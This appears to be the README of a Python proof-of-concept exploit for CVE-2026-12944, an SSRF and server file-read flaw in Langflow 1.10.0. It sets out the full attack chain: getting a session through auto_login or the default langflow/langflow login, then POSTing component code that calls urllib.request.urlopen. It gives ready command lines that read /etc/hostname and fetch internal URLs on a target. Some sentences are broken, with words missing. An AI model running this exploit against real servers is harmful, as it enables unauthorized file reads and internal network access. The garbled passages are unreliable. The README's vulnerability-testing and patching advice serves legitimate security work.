
Python PoC for CVE-2026-12944, a Langflow 1.10.0 urllib SSRF and file-read vulnerability. Fingerprints versions and exploits the custom_component endpoint.
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — custom-component code execution via urllib.request / socket. The component scanner’s denylist omitted those stdlib modules. IBM fixed it in 1.10.1.
IBM scores it PR:L. The exec sink is POST /api/v1/custom_component and that call needs a session cookie / bearer token. How this PoC gets one:
--test does not authenticate. It only GET /api/v1/version (plus a connectivity GET /).--read / --fetch authenticate first, then POST the component.LANGFLOW_AUTO_LOGIN. The script and, if the JSON has , sends . No username or password.GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …POST /api/v1/login with --uname / --password as application/x-www-form-urlencoded (username, password). Stock defaults are langflow / langflow.POST /api/v1/custom_component with {"code": …} that calls urllib.request.urlopen(...).--uname / --password exist only for step 4. They are unused on a default install.
For authorized testing only. Do not run this against systems you do not own or have permission to test.
Requires: Python 3, standard library only.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| Flag | What it does |
|---|---|
-u / --url | Langflow base URL (required). http:// or https://. A hostname with no scheme is tried as HTTPS first, then HTTP. http→https redirects keep POST. Bad TLS certs are retried without verify; --insecure skips verify from the start |
--test | Fingerprint only: GET /api/v1/version (public). No login, no custom_component |
--read PATH | Fire the gadget: urllib.request file:// read of PATH (executes on the server) |
--fetch URL | SSRF: urllib.request.urlopen(URL) and print the body |
--uname / --password | Only if AUTO_LOGIN is off (stock defaults: langflow / langflow) |
--insecure | Skip TLS verify |
--timeout | HTTP timeout seconds (default 30) |
--test endpoint: GET /api/v1/version. A 200 with "version" / "main_version" prints VERSION, then IN_WINDOW if that string is 1.0.0–1.10.0, then PRESENT. It never hits /api/v1/auto_login or /api/v1/custom_component.
--read / --fetch hit GET /api/v1/auto_login (or POST /api/v1/login), then POST /api/v1/custom_component.
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. IBM bulletin; upgrade to 1.10.1.